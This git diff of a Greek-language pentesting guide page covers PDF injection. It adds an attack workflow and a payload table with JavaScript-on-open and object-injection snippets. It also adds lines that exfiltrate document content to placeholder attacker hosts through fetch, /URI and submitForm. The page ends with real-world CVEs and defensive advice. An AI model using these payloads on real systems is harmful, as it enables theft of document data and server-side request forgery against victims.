diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index 6ae14c47e..319edbc25 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,55 @@ -{{#include ../../banners/hacktricks-training.md}} - -**Αν η είσοδός σας αντικατοπτρίζεται μέσα σε ένα αρχείο PDF, μπορείτε να προσπαθήσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript ή να κλέψετε το περιεχόμενο του PDF.** - -Chec the post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF Injection {{#include ../../banners/hacktricks-training.md}} + +**Αν η είσοδός σας ανακλάται μέσα σε ένα αρχείο PDF, μπορείτε να προσπαθήσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript, να πραγματοποιήσετε SSRF ή να κλέψετε το περιεχόμενο του PDF.** +Η σύνταξη PDF είναι εξαιρετικά επιεικής – αν μπορείτε να σπάσετε τη συμβολοσειρά ή το λεξικό που ενσωματώνει την είσοδό σας, μπορείτε να προσθέσετε εντελώς νέα αντικείμενα (ή νέες κλειδιά στο ίδιο αντικείμενο) που το Acrobat/Chrome θα αναλύσει ευχαρίστως. +Από το 2024, μια σειρά αναφορών bug-bounty έχει δείξει ότι *μία μη διαφραγμένη παρένθεση ή αντίστροφη κάθετος είναι αρκετή* για πλήρη εκτέλεση σεναρίου. + +## TL;DR – Σύγχρονη Ροή Επίθεσης (2024) +1. Βρείτε οποιαδήποτε τιμή ελεγχόμενη από τον χρήστη που καταλήγει μέσα σε μια **(συμβολοσειρά παρένθεσης)**, `/URI ( … )` ή `/JS ( … )` πεδίο στο παραγόμενο PDF. +2. Εισάγετε `) ` (κλείνοντας τη συμβολοσειρά) ακολουθούμενο από μία από τις παρακάτω πρωτότυπες και τελειώστε με άλλη μια ανοιχτή παρένθεση για να διατηρήσετε τη σύνταξη έγκυρη. +3. Παραδώστε το κακόβουλο PDF σε ένα θύμα (ή σε μια υπηρεσία backend που αυτόματα αποδίδει το αρχείο – εξαιρετικό για τυφλά σφάλματα). +4. Το payload σας εκτελείται στον αναγνώστη PDF: +* Chrome / Edge → PDFium Sandbox +* Firefox → PDF.js (βλ. CVE-2024-4367) +* Acrobat → Πλήρης JavaScript API (μπορεί να εξάγει περιεχόμενα αρχείων με `this.getPageNthWord`) + +Παράδειγμα (κατάχρηση συνδέσμου σημείωσης): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*Η πρώτη `)` κλείνει την αρχική συμβολοσειρά URI, στη συνέχεια προσθέτουμε ένα νέο **Action** λεξικό που θα εκτελέσει το Acrobat όταν ο χρήστης κάνει κλικ στον σύνδεσμο.* + +## Χρήσιμα Injection Primitives +| Στόχος | Payload Snippet | Σημειώσεις | +|------|-----------------|-------| +| **JavaScript κατά το άνοιγμα** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Εκτελείται αμέσως όταν ανοίγει το έγγραφο (λειτουργεί στο Acrobat, όχι στο Chrome). | +| **JavaScript κατά τον σύνδεσμο** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Λειτουργεί σε PDFium & Acrobat αν ελέγχετε μια `/Link` σημείωση. | +| **Blind data exfiltration** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Συνδυάστε με `this.getPageNthWord` μέσα σε JS για να κλέψετε περιεχόμενο. | +| **Server-Side SSRF** | Το ίδιο με παραπάνω αλλά στοχεύστε σε μια εσωτερική διεύθυνση URL – εξαιρετικό όταν το PDF αποδίδεται από υπηρεσίες back-office που σέβονται το `/URI`. | +| **Διάλειμμα γραμμής για νέα αντικείμενα** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Αν η βιβλιοθήκη σας επιτρέπει να εισάγετε χαρακτήρες νέας γραμμής, μπορείτε να δημιουργήσετε εντελώς νέα αντικείμενα. | + +## Blind Enumeration Trick +Ο Gareth Heyes (PortSwigger) δημοσίευσε μια μία γραμμή που καταμετρά κάθε αντικείμενο μέσα σε ένα άγνωστο έγγραφο – χρήσιμο όταν δεν μπορείτε να δείτε το παραγόμενο PDF: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +Ο κώδικας επαναλαμβάνει το Acrobat DOM και κάνει εξωτερικά αιτήματα για κάθε ζεύγος ιδιότητας/τιμής, δίνοντάς σας μια *JSON-ish* εξαγωγή του αρχείου. Δείτε το λευκό έγγραφο “Portable Data **ex**Filtration” για την πλήρη τεχνική. + +## Real-World Bugs (2023-2025) +* **CVE-2024-4367** – Αυθαίρετη εκτέλεση JavaScript στο PDF.js του Firefox πριν από την 4.2.67 παρακάμπτει το sandbox με μια κατασκευασμένη ενέργεια `/JavaScript`. +* **Bug bounty 2024-05** – Μεγάλη fintech επέτρεψε σημειώσεις τιμολογίων που παρέχονταν από πελάτες και κατέληγαν στο `/URI`; η αναφορά πληρώθηκε $10k μετά από αποδεδειγμένο SSRF σε εσωτερικό μεταδεδομένο host χρησιμοποιώντας `file:///` URI. +* **CVE-2023-26155** – Η εντολή `node-qpdf` μέσω μη απολυμασμένης διαδρομής PDF δείχνει τη σημασία της απόδρασης των backslashes και των παρενθέσεων ακόμη *πριν* από το επίπεδο PDF. + +## Defensive Cheatsheet +1. **Ποτέ μην συνδυάζετε ακατέργαστη είσοδο χρήστη** μέσα σε `(`…`)` συμβολοσειρές ή ονόματα. Απόδραση `\`, `(`, `)` όπως απαιτείται από το §7.3 της προδιαγραφής PDF ή χρησιμοποιήστε δεκαεξαδικές συμβολοσειρές `<...>`. +2. Εάν δημιουργείτε συνδέσμους, προτιμήστε `/URI (https://…)` που να *κωδικοποιείτε πλήρως* URL; αποκλείστε τα σχήματα `javascript:` στους πελάτες προβολής. +3. Αφαιρέστε ή επικυρώστε τα λεξικά `/OpenAction`, `/AA` (επιπλέον ενέργειες), `/Launch`, `/SubmitForm` και `/ImportData` κατά την επεξεργασία PDF. +4. Από την πλευρά του διακομιστή, αποδώστε μη αξιόπιστα PDFs με έναν *headless converter* (π.χ. qpdf –decrypt –linearize) που αφαιρεί JavaScript και εξωτερικές ενέργειες. +5. Διατηρήστε τους προβολείς PDF ενημερωμένους; PDF.js < 4.2.67 και Acrobat Reader πριν από τον Ιούλιο του 2024 επιτρέπουν απλή εκτέλεση κώδικα. + +## References +* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). +* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). +{{#include ../../banners/hacktricks-training.md}}